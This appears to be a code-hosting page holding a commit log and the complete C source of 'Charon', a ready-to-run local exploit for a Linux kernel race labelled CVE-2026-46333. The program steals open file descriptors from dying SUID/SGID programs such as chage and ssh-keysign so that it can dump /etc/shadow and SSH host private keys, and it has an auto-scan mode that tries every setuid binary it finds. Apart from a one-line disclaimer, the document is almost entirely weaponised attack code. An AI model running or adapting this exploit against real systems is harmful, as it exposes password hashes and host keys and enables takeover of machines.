95b37066df
* New --auto flag: walk /usr/bin, /usr/sbin, /usr/local/{bin,sbin},
/usr/lib/openssh, /usr/libexec, /bin, /sbin; try every SUID/SGID
regular file as a bait against the requested target. Skips
known-interactive baits (su, sudo, newgrp, pkexec, mount, …).
Per-bait budget capped (5 rounds × 2000 inner) + 60s wall clock,
so a full scan finishes in ~10s even on systems where no bait
opens the requested file.
* New --list-baits flag: enumerate built-in + discoverable bait
candidates without firing the exploit. Useful for distro surveys.
* SIGKILL daemonic baits (ssh-agent etc.) instead of waiting
forever in waitpid().
* Accept SGID-shadow baits, not just SUID-root — chage on
Debian/Ubuntu is mode 2755 not 4755 and we kept skipping it.
* Banner upgraded to ANSI Shadow block letters with a Styx wave
motif beneath the version line.
* Cleaner diagnostics: distinguish "primitive fires but no bait
opens this file" from "kernel patched (no pidfd_getfd success)".
Tested on Debian 13 / kernel 6.12.88-kctf-poc:
- default run hits /etc/shadow in 1 fork (~160 tries, <1s)
- --auto on /etc/sudoers correctly times out in 11s with diagnostic
- --quiet pipes 35 lines of pure shadow to stdout
- --verbose shows per-hit + final stats
- --list-baits enumerates 26 candidates incl. /usr/bin/chage
505 lines
20 KiB
C
505 lines
20 KiB
C
/*
|
|
* ██████╗██╗ ██╗ █████╗ ██████╗ ██████╗ ███╗ ██╗
|
|
* ██╔════╝██║ ██║██╔══██╗██╔══██╗██╔═══██╗████╗ ██║
|
|
* ██║ ███████║███████║██████╔╝██║ ██║██╔██╗ ██║
|
|
* ██║ ██╔══██║██╔══██║██╔══██╗██║ ██║██║╚██╗██║
|
|
* ╚██████╗██║ ██║██║ ██║██║ ██║╚██████╔╝██║ ╚████║
|
|
* ╚═════╝╚═╝ ╚═╝╚═╝ ╚═╝╚═╝ ╚═╝ ╚═════╝ ╚═╝ ╚═══╝
|
|
* ~ ~ ~ ferries fds across the exit-mm() Styx ~ ~ ~
|
|
* CVE-2026-46333 / Linux <= 6.12.89
|
|
*
|
|
* "It is a fearful thing to fall into the hands of the living God."
|
|
* — Hebrews 10:31
|
|
*
|
|
* Charon races pidfd_getfd(2) against a dying SUID/SGID process to
|
|
* lift its open /etc/shadow file descriptor through the transient
|
|
* mm-NULL window in do_exit():
|
|
*
|
|
* do_exit()
|
|
* ├── exit_mm() ← task->mm = NULL
|
|
* ├── ... ← __ptrace_may_access() now lies
|
|
* └── exit_files() ← fd table reaped
|
|
*
|
|
* The kernel's __ptrace_may_access treats mm==NULL as "kernel thread,
|
|
* never dumpable" and short-circuits the dumpable check. A dying
|
|
* userspace SUID/SGID process is briefly indistinguishable from a
|
|
* kernel thread in that test, so pidfd_getfd(2) succeeds against it
|
|
* and returns whatever fds it still has open before exit_files() runs.
|
|
*
|
|
* If the bait binary opened /etc/shadow and then setreuid'd to the
|
|
* attacker uid before exiting, Charon walks home with the fd.
|
|
*
|
|
* Mainline fix: 31e62c2ebbfd (Linus, 2026-05-14)
|
|
* Disclosure: Qualys → oss-security 2026-05-15
|
|
*
|
|
* Educational and authorized-defensive use only.
|
|
*/
|
|
#define _GNU_SOURCE
|
|
#include <stdio.h>
|
|
#include <stdlib.h>
|
|
#include <stdarg.h>
|
|
#include <string.h>
|
|
#include <unistd.h>
|
|
#include <errno.h>
|
|
#include <fcntl.h>
|
|
#include <dirent.h>
|
|
#include <signal.h>
|
|
#include <time.h>
|
|
#include <sys/syscall.h>
|
|
#include <sys/wait.h>
|
|
#include <sys/stat.h>
|
|
#include <getopt.h>
|
|
|
|
#ifndef __NR_pidfd_open
|
|
#define __NR_pidfd_open 434
|
|
#endif
|
|
#ifndef __NR_pidfd_getfd
|
|
#define __NR_pidfd_getfd 438
|
|
#endif
|
|
|
|
#define CHARON_VERSION "1.1.0"
|
|
|
|
static const char BANNER[] =
|
|
"\n"
|
|
" \xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x95\x97"
|
|
"\xe2\x96\x88\xe2\x96\x88\xe2\x95\x97 \xe2\x96\x88\xe2\x96\x88\xe2\x95\x97 \xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x95\x97 "
|
|
"\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x95\x97 "
|
|
"\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x95\x97 "
|
|
"\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x95\x97 \xe2\x96\x88\xe2\x96\x88\xe2\x95\x97\n"
|
|
"\xe2\x96\x88\xe2\x96\x88\xe2\x95\x94\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x9d"
|
|
"\xe2\x96\x88\xe2\x96\x88\xe2\x95\x91 \xe2\x96\x88\xe2\x96\x88\xe2\x95\x91"
|
|
"\xe2\x96\x88\xe2\x96\x88\xe2\x95\x94\xe2\x95\x90\xe2\x95\x90\xe2\x96\x88\xe2\x96\x88\xe2\x95\x97"
|
|
"\xe2\x96\x88\xe2\x96\x88\xe2\x95\x94\xe2\x95\x90\xe2\x95\x90\xe2\x96\x88\xe2\x96\x88\xe2\x95\x97"
|
|
"\xe2\x96\x88\xe2\x96\x88\xe2\x95\x94\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x96\x88\xe2\x96\x88\xe2\x95\x97"
|
|
"\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x95\x97 \xe2\x96\x88\xe2\x96\x88\xe2\x95\x91\n"
|
|
"\xe2\x96\x88\xe2\x96\x88\xe2\x95\x91 \xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x95\x91"
|
|
"\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x95\x91"
|
|
"\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x95\x94\xe2\x95\x9d"
|
|
"\xe2\x96\x88\xe2\x96\x88\xe2\x95\x91 \xe2\x96\x88\xe2\x96\x88\xe2\x95\x91"
|
|
"\xe2\x96\x88\xe2\x96\x88\xe2\x95\x94\xe2\x96\x88\xe2\x96\x88\xe2\x95\x97 \xe2\x96\x88\xe2\x96\x88\xe2\x95\x91\n"
|
|
"\xe2\x96\x88\xe2\x96\x88\xe2\x95\x91 \xe2\x96\x88\xe2\x96\x88\xe2\x95\x94\xe2\x95\x90\xe2\x95\x90\xe2\x96\x88\xe2\x96\x88\xe2\x95\x91"
|
|
"\xe2\x96\x88\xe2\x96\x88\xe2\x95\x94\xe2\x95\x90\xe2\x95\x90\xe2\x96\x88\xe2\x96\x88\xe2\x95\x91"
|
|
"\xe2\x96\x88\xe2\x96\x88\xe2\x95\x94\xe2\x95\x90\xe2\x95\x90\xe2\x96\x88\xe2\x96\x88\xe2\x95\x97"
|
|
"\xe2\x96\x88\xe2\x96\x88\xe2\x95\x91 \xe2\x96\x88\xe2\x96\x88\xe2\x95\x91"
|
|
"\xe2\x96\x88\xe2\x96\x88\xe2\x95\x91\xe2\x95\x9a\xe2\x96\x88\xe2\x96\x88\xe2\x95\x97\xe2\x96\x88\xe2\x96\x88\xe2\x95\x91\n"
|
|
"\xe2\x95\x9a\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x95\x97"
|
|
"\xe2\x96\x88\xe2\x96\x88\xe2\x95\x91 \xe2\x96\x88\xe2\x96\x88\xe2\x95\x91"
|
|
"\xe2\x96\x88\xe2\x96\x88\xe2\x95\x91 \xe2\x96\x88\xe2\x96\x88\xe2\x95\x91"
|
|
"\xe2\x96\x88\xe2\x96\x88\xe2\x95\x91 \xe2\x96\x88\xe2\x96\x88\xe2\x95\x91"
|
|
"\xe2\x95\x9a\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x95\x94\xe2\x95\x9d"
|
|
"\xe2\x96\x88\xe2\x96\x88\xe2\x95\x91 \xe2\x95\x9a\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x95\x91\n"
|
|
" \xe2\x95\x9a\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x9d"
|
|
"\xe2\x95\x9a\xe2\x95\x90\xe2\x95\x9d \xe2\x95\x9a\xe2\x95\x90\xe2\x95\x9d"
|
|
"\xe2\x95\x9a\xe2\x95\x90\xe2\x95\x9d \xe2\x95\x9a\xe2\x95\x90\xe2\x95\x9d"
|
|
"\xe2\x95\x9a\xe2\x95\x90\xe2\x95\x9d \xe2\x95\x9a\xe2\x95\x90\xe2\x95\x9d "
|
|
"\xe2\x95\x9a\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x9d "
|
|
"\xe2\x95\x9a\xe2\x95\x90\xe2\x95\x9d \xe2\x95\x9a\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x9d\n"
|
|
" ~ ~ ~ ferries fds across the exit-mm() Styx ~ ~ ~\n"
|
|
" CVE-2026-46333 / Linux <= 6.12.89\n"
|
|
"\n";
|
|
|
|
/* A bait is a SUID/SGID binary that opens FILE before dropping creds
|
|
* and exiting. ARGV makes it open FILE deterministically. */
|
|
struct bait {
|
|
const char *path;
|
|
const char *file;
|
|
const char *args[6]; /* argv terminated by NULL */
|
|
};
|
|
|
|
static const struct bait builtin_baits[] = {
|
|
/* chage -l <user> opens /etc/shadow on Debian/Ubuntu (SGID-shadow)
|
|
* and on RHEL family (SUID-root). Either way the dumpable=0 flag
|
|
* is set on the dying process — the bug bypasses the check. */
|
|
{ "/usr/bin/chage", "/etc/shadow",
|
|
{ "chage", "-l", "root", NULL } },
|
|
{ "/usr/sbin/chage", "/etc/shadow",
|
|
{ "chage", "-l", "root", NULL } },
|
|
|
|
/* ssh-keysign opens the host private keys when invoked even with
|
|
* no args (it bails after the open if HostbasedAuthentication is
|
|
* off, but we only need it to OPEN the file). */
|
|
{ "/usr/lib/openssh/ssh-keysign", "/etc/ssh/ssh_host_ecdsa_key",
|
|
{ "ssh-keysign", NULL } },
|
|
{ "/usr/lib/openssh/ssh-keysign", "/etc/ssh/ssh_host_ed25519_key",
|
|
{ "ssh-keysign", NULL } },
|
|
{ "/usr/lib/openssh/ssh-keysign", "/etc/ssh/ssh_host_rsa_key",
|
|
{ "ssh-keysign", NULL } },
|
|
{ "/usr/libexec/openssh/ssh-keysign", "/etc/ssh/ssh_host_ecdsa_key",
|
|
{ "ssh-keysign", NULL } },
|
|
|
|
{ NULL, NULL, { NULL } }
|
|
};
|
|
|
|
/* Auto-discovery search roots and the SUID/SGID names we refuse to
|
|
* invoke (would prompt for input, hang waiting, or mutate state). */
|
|
static const char *const auto_search_roots[] = {
|
|
"/usr/bin", "/usr/sbin", "/usr/local/bin", "/usr/local/sbin",
|
|
"/usr/lib/openssh", "/usr/libexec", "/usr/libexec/openssh",
|
|
"/bin", "/sbin", NULL
|
|
};
|
|
static const char *const auto_skip_names[] = {
|
|
"su", "sudo", "doas", "pkexec", "newgrp",
|
|
"mount", "umount", "fusermount", "fusermount3",
|
|
"ping", "ping6", "traceroute", "traceroute6",
|
|
NULL
|
|
};
|
|
/* Argv patterns we try against each auto-discovered binary. */
|
|
static const char *const auto_arg_patterns[][4] = {
|
|
{ "-l", "root", NULL }, /* chage / passwd -l root */
|
|
{ "-S", "root", NULL }, /* passwd -S root */
|
|
{ "--version", NULL }, /* most tools, fast + safe */
|
|
{ NULL }, /* no args (some tools open files on startup) */
|
|
};
|
|
|
|
/* CLI state */
|
|
static const char *opt_target = NULL;
|
|
static int opt_quiet = 0;
|
|
static int opt_verbose = 0;
|
|
static int opt_rounds = 500;
|
|
static int opt_inner = 30000;
|
|
static int opt_auto = 0;
|
|
static int opt_list = 0;
|
|
|
|
/* Stats spanning all hunt() invocations. */
|
|
static unsigned long stat_forks = 0;
|
|
static unsigned long stat_getfds = 0; /* pidfd_getfd calls */
|
|
static unsigned long stat_getfd_ok = 0; /* pidfd_getfd that returned >= 0 */
|
|
static unsigned long stat_target_hits = 0; /* fd's readlink matched want_file */
|
|
|
|
static void
|
|
msg(const char *prefix, const char *fmt, ...)
|
|
{
|
|
if (opt_quiet) return;
|
|
va_list ap;
|
|
fprintf(stderr, "%s ", prefix);
|
|
va_start(ap, fmt);
|
|
vfprintf(stderr, fmt, ap);
|
|
va_end(ap);
|
|
fputc('\n', stderr);
|
|
fflush(stderr);
|
|
}
|
|
|
|
static int
|
|
dump_fd(int fd)
|
|
{
|
|
char buf[8192];
|
|
ssize_t n;
|
|
lseek(fd, 0, SEEK_SET);
|
|
while ((n = read(fd, buf, sizeof(buf))) > 0)
|
|
if (fwrite(buf, 1, (size_t)n, stdout) != (size_t)n) return -1;
|
|
fflush(stdout);
|
|
return n < 0 ? -1 : 0;
|
|
}
|
|
|
|
static int
|
|
bait_present(const char *path)
|
|
{
|
|
struct stat st;
|
|
if (stat(path, &st) != 0) return 0;
|
|
if (!S_ISREG(st.st_mode)) return 0;
|
|
if (!(st.st_mode & (S_ISUID | S_ISGID))) return 0;
|
|
return 1;
|
|
}
|
|
|
|
/* Returns:
|
|
* 0 success — file contents on stdout
|
|
* -ENOENT bait not present / lacks setuid|setgid
|
|
* -ETIME primitive fired but target file wasn't in the fd table
|
|
* -EPERM pidfd_getfd never succeeded — kernel likely patched
|
|
*/
|
|
static int
|
|
hunt(const char *path, const char *want_file, const char *const argv[])
|
|
{
|
|
if (!bait_present(path)) return -ENOENT;
|
|
|
|
unsigned long getfd_ok_before = stat_getfd_ok;
|
|
|
|
for (int round = 0; round < opt_rounds; round++) {
|
|
pid_t c = fork();
|
|
if (c < 0) { msg("[!]", "fork: %s", strerror(errno)); return -1; }
|
|
|
|
if (c == 0) {
|
|
int dn = open("/dev/null", O_RDWR);
|
|
if (dn >= 0) { dup2(dn, 1); dup2(dn, 2); close(dn); }
|
|
execv(path, (char *const *)argv);
|
|
_exit(127);
|
|
}
|
|
|
|
stat_forks++;
|
|
|
|
int pfd = syscall(__NR_pidfd_open, c, 0);
|
|
if (pfd < 0) { waitpid(c, NULL, 0); continue; }
|
|
|
|
int got = -1;
|
|
for (int a = 0; a < opt_inner && got < 0; a++) {
|
|
for (int i = 3; i < 32; i++) {
|
|
int s = syscall(__NR_pidfd_getfd, pfd, i, 0);
|
|
stat_getfds++;
|
|
if (s < 0) continue;
|
|
stat_getfd_ok++;
|
|
char p[512] = {0}, lk[64];
|
|
snprintf(lk, sizeof(lk), "/proc/self/fd/%d", s);
|
|
ssize_t n = readlink(lk, p, sizeof(p) - 1);
|
|
if (n > 0) p[n] = 0;
|
|
if (strstr(p, want_file)) {
|
|
if (opt_verbose)
|
|
msg("[+]", "hit fd %d -> %s round=%d try=%d",
|
|
i, p, round, a);
|
|
got = s;
|
|
break;
|
|
}
|
|
close(s);
|
|
}
|
|
}
|
|
|
|
if (got >= 0) {
|
|
stat_target_hits++;
|
|
int rc = dump_fd(got);
|
|
close(got);
|
|
close(pfd);
|
|
kill(c, SIGKILL);
|
|
waitpid(c, NULL, 0);
|
|
if (opt_verbose)
|
|
msg("[#]",
|
|
"stats: %lu forks, %lu getfds (%lu ok), %lu target hits",
|
|
stat_forks, stat_getfds, stat_getfd_ok, stat_target_hits);
|
|
return rc;
|
|
}
|
|
|
|
close(pfd);
|
|
/* Some baits (ssh-agent, daemons) won't exit on their own —
|
|
* force them so waitpid doesn't block this whole hunt. */
|
|
kill(c, SIGKILL);
|
|
waitpid(c, NULL, 0);
|
|
}
|
|
|
|
if (stat_getfd_ok == getfd_ok_before) return -EPERM;
|
|
return -ETIME;
|
|
}
|
|
|
|
/* Walk standard SUID/SGID roots and try each binary as a bait.
|
|
* Uses an aggressive per-bait round budget (auto_rounds) so a full
|
|
* sweep finishes in seconds even when nothing matches. */
|
|
static int
|
|
auto_discover(const char *want_file, int just_list)
|
|
{
|
|
int discovered = 0, attempted = 0, primitive_worked = 0;
|
|
/* Save user-set values; restore on exit. */
|
|
int saved_rounds = opt_rounds;
|
|
int saved_inner = opt_inner;
|
|
if (!just_list) {
|
|
/* Per-bait budget for auto mode: keep tight so the sweep is fast.
|
|
* Each round is ~1 successful fork+exec + opt_inner * 29 getfd calls. */
|
|
if (opt_rounds > 5) opt_rounds = 5;
|
|
if (opt_inner > 2000) opt_inner = 2000;
|
|
}
|
|
time_t auto_deadline = time(NULL) + (just_list ? 0 : 60); /* 60s budget */
|
|
|
|
for (const char *const *root = auto_search_roots; *root; root++) {
|
|
DIR *d = opendir(*root);
|
|
if (!d) continue;
|
|
struct dirent *e;
|
|
while ((e = readdir(d)) != NULL) {
|
|
if (e->d_name[0] == '.') continue;
|
|
|
|
char path[512];
|
|
int n = snprintf(path, sizeof(path), "%s/%s", *root, e->d_name);
|
|
if (n < 0 || n >= (int)sizeof(path)) continue;
|
|
|
|
struct stat st;
|
|
if (lstat(path, &st) != 0) continue;
|
|
if (!S_ISREG(st.st_mode)) continue;
|
|
if (!(st.st_mode & (S_ISUID | S_ISGID))) continue;
|
|
|
|
int skip = 0;
|
|
for (const char *const *s = auto_skip_names; *s; s++)
|
|
if (!strcmp(e->d_name, *s)) { skip = 1; break; }
|
|
if (skip) continue;
|
|
|
|
discovered++;
|
|
|
|
if (just_list) {
|
|
printf(" %s (mode %04o, %s)\n",
|
|
path, st.st_mode & 07777,
|
|
(st.st_mode & S_ISUID) ? "SUID" : "SGID");
|
|
continue;
|
|
}
|
|
|
|
for (size_t ai = 0;
|
|
ai < sizeof auto_arg_patterns / sizeof auto_arg_patterns[0];
|
|
ai++) {
|
|
const char *argv[6] = { e->d_name };
|
|
int k = 1;
|
|
for (int x = 0; auto_arg_patterns[ai][x] && k < 5; x++)
|
|
argv[k++] = auto_arg_patterns[ai][x];
|
|
argv[k] = NULL;
|
|
|
|
if (opt_verbose) {
|
|
char arghint[64] = "";
|
|
for (int x = 1; argv[x] && x < 5; x++) {
|
|
strncat(arghint, " ", sizeof(arghint)-strlen(arghint)-1);
|
|
strncat(arghint, argv[x], sizeof(arghint)-strlen(arghint)-1);
|
|
}
|
|
msg("[auto]", "trying %s%s", path, arghint);
|
|
}
|
|
|
|
attempted++;
|
|
int rc = hunt(path, want_file, argv);
|
|
if (rc == 0) {
|
|
msg("[+]", "auto-discovered working bait: %s", path);
|
|
closedir(d);
|
|
opt_rounds = saved_rounds;
|
|
opt_inner = saved_inner;
|
|
return 0;
|
|
}
|
|
if (rc != -EPERM && rc != -ENOENT) primitive_worked = 1;
|
|
|
|
if (time(NULL) > auto_deadline) {
|
|
msg("[!]", "60s auto-scan budget exhausted (%d baits tried)",
|
|
attempted);
|
|
closedir(d);
|
|
goto auto_done;
|
|
}
|
|
}
|
|
}
|
|
closedir(d);
|
|
}
|
|
auto_done:;
|
|
|
|
/* Restore user budgets. */
|
|
opt_rounds = saved_rounds;
|
|
opt_inner = saved_inner;
|
|
|
|
if (just_list) {
|
|
fprintf(stderr,
|
|
"\n discovered %d SUID/SGID binaries in standard roots\n"
|
|
" (use --auto to try each as a bait for %s)\n",
|
|
discovered, want_file ? want_file : "/etc/shadow");
|
|
return 0;
|
|
}
|
|
|
|
if (opt_verbose)
|
|
msg("[auto]", "scan complete: %d baits tried, %lu fds lifted, %lu hits",
|
|
attempted, stat_getfd_ok, stat_target_hits);
|
|
if (!primitive_worked && stat_getfd_ok == 0) return -EPERM;
|
|
return -ETIME;
|
|
}
|
|
|
|
static void
|
|
usage(const char *prog)
|
|
{
|
|
fprintf(stderr,
|
|
"CHARON %s — ferries fds across the exit-mm() Styx (CVE-2026-46333)\n"
|
|
"\n"
|
|
"Usage: %s [options]\n"
|
|
"\n"
|
|
" -t, --target FILE file to read (default: /etc/shadow)\n"
|
|
" -r, --rounds N max rounds per bait (default: 500)\n"
|
|
" -i, --inner N inner getfd attempts (default: 30000)\n"
|
|
" -a, --auto if built-in baits fail, scan SUID/SGID dirs\n"
|
|
" -L, --list-baits enumerate candidate baits and exit\n"
|
|
" -q, --quiet no banner, no progress\n"
|
|
" -v, --verbose per-hit + final stats\n"
|
|
" --version print version and exit\n"
|
|
" -h, --help this help\n"
|
|
"\n"
|
|
"Exit codes:\n"
|
|
" 0 success — file contents on stdout\n"
|
|
" 1 no bait on this system opens the requested file\n"
|
|
" 2 kernel appears patched (CVE-2026-46333 closed)\n"
|
|
" 3 ran out of rounds without a hit (transient — try -r 5000)\n"
|
|
" 4 CLI / IO error\n"
|
|
"\n"
|
|
"For authorized security testing and defensive research only.\n",
|
|
CHARON_VERSION, prog);
|
|
}
|
|
|
|
int
|
|
main(int argc, char **argv)
|
|
{
|
|
static const struct option opts[] = {
|
|
{"target", required_argument, 0, 't'},
|
|
{"rounds", required_argument, 0, 'r'},
|
|
{"inner", required_argument, 0, 'i'},
|
|
{"auto", no_argument, 0, 'a'},
|
|
{"list-baits", no_argument, 0, 'L'},
|
|
{"quiet", no_argument, 0, 'q'},
|
|
{"verbose", no_argument, 0, 'v'},
|
|
{"version", no_argument, 0, 1 },
|
|
{"help", no_argument, 0, 'h'},
|
|
{0,0,0,0}
|
|
};
|
|
|
|
int o;
|
|
while ((o = getopt_long(argc, argv, "t:r:i:aLqvh", opts, NULL)) != -1) {
|
|
switch (o) {
|
|
case 't': opt_target = optarg; break;
|
|
case 'r': opt_rounds = atoi(optarg); break;
|
|
case 'i': opt_inner = atoi(optarg); break;
|
|
case 'a': opt_auto = 1; break;
|
|
case 'L': opt_list = 1; break;
|
|
case 'q': opt_quiet = 1; break;
|
|
case 'v': opt_verbose = 1; break;
|
|
case 1 : printf("charon %s\n", CHARON_VERSION); return 0;
|
|
case 'h': usage(argv[0]); return 0;
|
|
default : usage(argv[0]); return 4;
|
|
}
|
|
}
|
|
if (!opt_target) opt_target = "/etc/shadow";
|
|
if (opt_rounds < 1 || opt_inner < 1) { usage(argv[0]); return 4; }
|
|
|
|
if (!opt_quiet && !opt_list) fputs(BANNER, stderr);
|
|
|
|
if (opt_list) {
|
|
fprintf(stderr, " built-in baits for %s:\n", opt_target);
|
|
int builtin_count = 0;
|
|
for (const struct bait *b = builtin_baits; b->path; b++) {
|
|
if (strcmp(b->file, opt_target) != 0) continue;
|
|
const char *status = bait_present(b->path) ? "OK" : "MISSING";
|
|
fprintf(stderr, " [%s] %s\n", status, b->path);
|
|
builtin_count++;
|
|
}
|
|
if (!builtin_count) fprintf(stderr, " (none — try --auto)\n");
|
|
fprintf(stderr, "\n discovered SUID/SGID candidates in standard roots:\n");
|
|
return auto_discover(opt_target, /*just_list=*/1);
|
|
}
|
|
|
|
/* Phase 1: try built-in baits whose file matches the request. */
|
|
int any_present = 0, all_patched = 1;
|
|
for (const struct bait *b = builtin_baits; b->path; b++) {
|
|
if (strcmp(b->file, opt_target) != 0) continue;
|
|
if (!bait_present(b->path)) continue;
|
|
any_present = 1;
|
|
msg("[*]", "bait %s target %s", b->path, opt_target);
|
|
int rc = hunt(b->path, opt_target, b->args);
|
|
if (rc == 0) return 0;
|
|
if (rc != -EPERM) all_patched = 0;
|
|
}
|
|
|
|
/* Phase 2: auto-discover if asked, OR if no built-in bait matched. */
|
|
if (opt_auto || !any_present) {
|
|
if (opt_auto)
|
|
msg("[*]", "built-in baits exhausted, auto-discovering...");
|
|
else
|
|
msg("[*]", "no built-in bait opens %s, trying --auto", opt_target);
|
|
int rc = auto_discover(opt_target, /*just_list=*/0);
|
|
if (rc == 0) return 0;
|
|
if (rc != -EPERM) all_patched = 0;
|
|
}
|
|
|
|
if (!any_present && !opt_auto) {
|
|
msg("[!]", "no built-in bait opens %s — re-run with --auto", opt_target);
|
|
return 1;
|
|
}
|
|
if (all_patched && stat_getfd_ok == 0) {
|
|
msg("[!]", "%lu pidfd_getfd calls across %lu forks, none succeeded",
|
|
stat_getfds, stat_forks);
|
|
msg("[!]", "kernel is patched for CVE-2026-46333 (fix 31e62c2ebbfd)");
|
|
return 2;
|
|
}
|
|
msg("[!]", "primitive fires (%lu fds lifted) but none pointed to %s",
|
|
stat_getfd_ok, opt_target);
|
|
msg("[!]", "try -r 5000, -t <other file>, or --auto");
|
|
return 3;
|
|
}
|